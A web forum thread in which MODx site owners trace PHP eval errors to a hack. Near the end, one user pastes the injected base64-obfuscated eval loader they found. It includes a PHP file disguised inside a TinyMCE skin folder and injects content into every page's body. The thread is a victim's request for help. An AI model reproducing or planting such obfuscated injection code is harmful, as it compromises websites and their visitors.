PHP Parse Error started to show on all pages(site hacked due to SMF old version)

Hi,

Some days ago this "PHP Parse Error" started to show on all pages of my website. This happenned out of nothing, no changes were made to generate this error.

The complete error is:


« MODx Parse Error »
MODx encountered the following error while attempting to parse the requested resource:

« PHP Parse Error »

PHP error debug
Error: gzinflate() [function.gzinflate]: data error
Error type/ Nr.: Warning - 2
File: /home/gtr/public_html/manager/includes/protect.inc.php(1) : eval()’d code
Line: 1

Parser timing
MySQL: 0.1458 s (468 Requests)
PHP: 0.3865 s
Total: 0.5322 s

Please, any help will be appreciated.

Mc

I suspect your web host upgraded your server and overlooked changing support for zlib or similar item. Also, when making support requests, please make sure to provide information about your web server and your client machine:

Web Server:

• PHP version and how it’s running (suexec, mod_php, CGI, etc.)
• Apache or IIS version
• Operating System and version

Database:

• MySQL version
• List of any tables over 1MB in size

MODx:

• Version
• Any changes you’ve made
• Any snippets you’re running on the page that is not working properly
• Any plugins you’re running

Browser/Client:

• Browser name and version
• Operating System and version

This will go a long way towards being able to quickly resolve or duplicate and bugs as applicable, and should result in a better overall support experience.

Further, if you’re seeing problems with snippets not seeming to work right, make sure you’re enclosing parameters in back-tics, not single-quotes. On US-English keyboards that’s the key typically found at the top-left of the number row: `

Thanks!

Well the error has changed now to:
« PHP Parse Error »

PHP error debug
Error: strpos() [function.strpos]: Offset not contained in string
Error type/ Nr.: Warning - 2
File: /home/gtr/public_html/manager/includes/protect.inc.php(1) : eval()’d code
Line: 1


This error is displayed only at the end of the pages, I mean the pages load normally but all of them have the error at the bottom.

And...sorry, I should’ve included all details. Here they are:

Web Server:
PHP version: 5.2.9. PHP is run as CGI (not Apache/DSO) in a suPHP environment.
Apache or IIS version: Apache 2.2.x , (with mod_rewrite and mod_security) in a SuExec environment
Operating System and version: Linux x86 CentOS 5.x

Database:
MySQL version: 5.1.30
List of any tables over 1MB in size: none


MODx:
Version: 0.9.6.2
Any snippets you’re running on the page that is not working properly: Ditto, Reflect. But the error shows on any page, with or without snippets
Any plugins you’re running: none


Browser/Client:
Browser name and version: Firefox 3.5.2 and Opera 9.64
Operating System and version: Windows Server Enterprise 2008 SP2

Thank you in advance.

Mc

Both mod_security and suPHP have been known to cause problems. I would ask your webhost if they’ve recently upgraded their servers.

So, what are we supposed to do if the webhost has upgraded the server???

I asked my webhost and they informed that there has been no upgrade lately. As I mentioned before, this problem started from one day to the other. The strange thing is that all of my other Modx websites located on the same webhost are showing no problems at all.

Regards.

i too am getting this error on one of my sites. and also when I log into the manager I get a blank page.
I have a number of other sites running the same version of modx and they are working fine.

did you manage to find a fix for this?

Quote from: fiat154 at Oct 04, 2009, 07:35 PM

i too am getting this error on one of my sites. and also when I log into the manager I get a blank page.
I have a number of other sites running the same version of modx and they are working fine.

did you manage to find a fix for this?

hmmm, I found a fix - the site was hacked! all pages had a header of eval base 64 code added referring to a folder in FCKeditor with some server side scripts that changed the <head>. It added this code to basically every php file in the directory! Luckily I am about to totally redo this site but I found the folder the eval code was referencing and removed it and that fixed the parse error.

Quote from: fiat154 at Oct 04, 2009, 09:34 PM

Quote from: fiat154 at Oct 04, 2009, 07:35 PM

i too am getting this error on one of my sites. and also when I log into the manager I get a blank page.
I have a number of other sites running the same version of modx and they are working fine.

did you manage to find a fix for this?

hmmm, I found a fix - the site was hacked! all pages had a header of eval base 64 code added referring to a folder in FCKeditor with some server side scripts that changed the <head>. It added this code to basically every php file in the directory! Luckily I am about to totally redo this site but I found the folder the eval code was referencing and removed it and that fixed the parse error.

I was going to suggest that a hacker was involved. Did (do) you have register_globals on?

Quote from: BobRay at Oct 05, 2009, 12:45 AM

Quote from: fiat154 at Oct 04, 2009, 09:34 PM

hmmm, I found a fix - the site was hacked! all pages had a header of eval base 64 code added referring to a folder in FCKeditor with some server side scripts that changed the <head>. It added this code to basically every php file in the directory! Luckily I am about to totally redo this site but I found the folder the eval code was referencing and removed it and that fixed the parse error.

I was going to suggest that a hacker was involved. Did (do) you have register_globals on?

I found this code at the beginning of file manager/index.php :

<? /**/eval(base64_decode(’aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvaG9tZS9ndHIvcHVibGljX2h0bWwvYXNzZXRzL3BsdWdpbnMvdGlueW1jZTMxMDEvanNjcmlwdHMvdGlueV9tY2UvdGhlbWVzL3NpbXBsZS9za2lucy9vMms3L2ltZy9zdHlsZS5jc3MucGhwJykpe2luY2x1ZGVfb25jZSgnL2hvbWUvZ3RyL3B1YmxpY19odG1sL2Fzc2V0cy9wbHVnaW5zL3RpbnltY2UzMTAxL2pzY3JpcHRzL3RpbnlfbWNlL3RoZW1lcy9zaW1wbGUvc2tpbnMvbzJrNy9pbWcvc3R5bGUuY3NzLnBocCcpO2lmKGZ1bmN0aW9uX2V4aXN0cygnZ21sJykmJiFmdW5jdGlvbl9leGlzdHMoJ2Rnb2JoJykpe2lmKCFmdW5jdGlvbl9leGlzdHMoJ2d6ZGVjb2RlJykpe2Z1bmN0aW9uIGd6ZGVjb2RlKCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgpeyRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkI9b3JkKHN1YnN0cigkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4LDMsMSkpOyRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDE9MTA7JFIwRDU0MjM2REEyMDU5NEVDMTNGQzgxQjIwOTczMzkzMT0wO2lmKCRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkImNCl7JFIwRDU0MjM2REEyMDU5NEVDMTNGQzgxQjIwOTczMzkzMT11bnBhY2soJ3YnLHN1YnN0cigkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4LDEwLDIpKTskUjBENTQyMzZEQTIwNTk0RUMxM0ZDODFCMjA5NzMzOTMxPSRSMEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5MzFbMV07JFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MSs9MiskUjBENTQyMzZEQTIwNTk0RUMxM0ZDODFCMjA5NzMzOTMxO31pZigkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCJjgpeyRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDE9c3RycG9zKCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgsY2hyKDApLCRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDEpKzE7fWlmKCRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkImMTYpeyRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDE9c3RycG9zKCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgsY2hyKDApLCRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDEpKzE7fWlmKCRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkImMil7JFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MSs9Mjt9JFJDNEE1QjVFMzEwRUQ0QzMyM0UwNEQ3MkFGQUUzOUY1Mz1nemluZmxhdGUoc3Vic3RyKCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgsJFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MSkpO2lmKCRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTM9PT1GQUxTRSl7JFJDNEE1QjVFMzEwRUQ0QzMyM0UwNEQ3MkFGQUUzOUY1Mz0kUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4O31yZXR1cm4gJFJDNEE1QjVFMzEwRUQ0QzMyM0UwNEQ3MkFGQUUzOUY1Mzt9fWZ1bmN0aW9uIGRnb2JoKCRSREEzRTYxNDE0RTUwQUVFOTY4MTMyRjAzRDI2NUUwQ0Ype0hlYWRlcignQ29udGVudC1FbmNvZGluZzogbm9uZScpOyRSM0UzM0UwMTdDRDc2QjlCN0U2QzczNjRGQjkxRTJFOTA9Z3pkZWNvZGUoJFJEQTNFNjE0MTRFNTBBRUU5NjgxMzJGMDNEMjY1RTBDRik7aWYocHJlZ19tYXRjaCgnL1w8Ym9keS9zaScsJFIzRTMzRTAxN0NENzZCOUI3RTZDNzM2NEZCOTFFMkU5MCkpe3JldHVybiBwcmVnX3JlcGxhY2UoJy8oXDxib2R5W15cPl0qXD4pL3NpJywnJDEnLmdtbCgpLCRSM0UzM0UwMTdDRDc2QjlCN0U2QzczNjRGQjkxRTJFOTApO31lbHNle3JldHVybiBnbWwoKS4kUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwO319b2Jfc3RhcnQoJ2Rnb2JoJyk7fX19’)); ?>

I’ve always had register_globals = Off but I don’t know why or how my site got hacked. Please, how can we prevent this from happening again?

Thank you.

Mc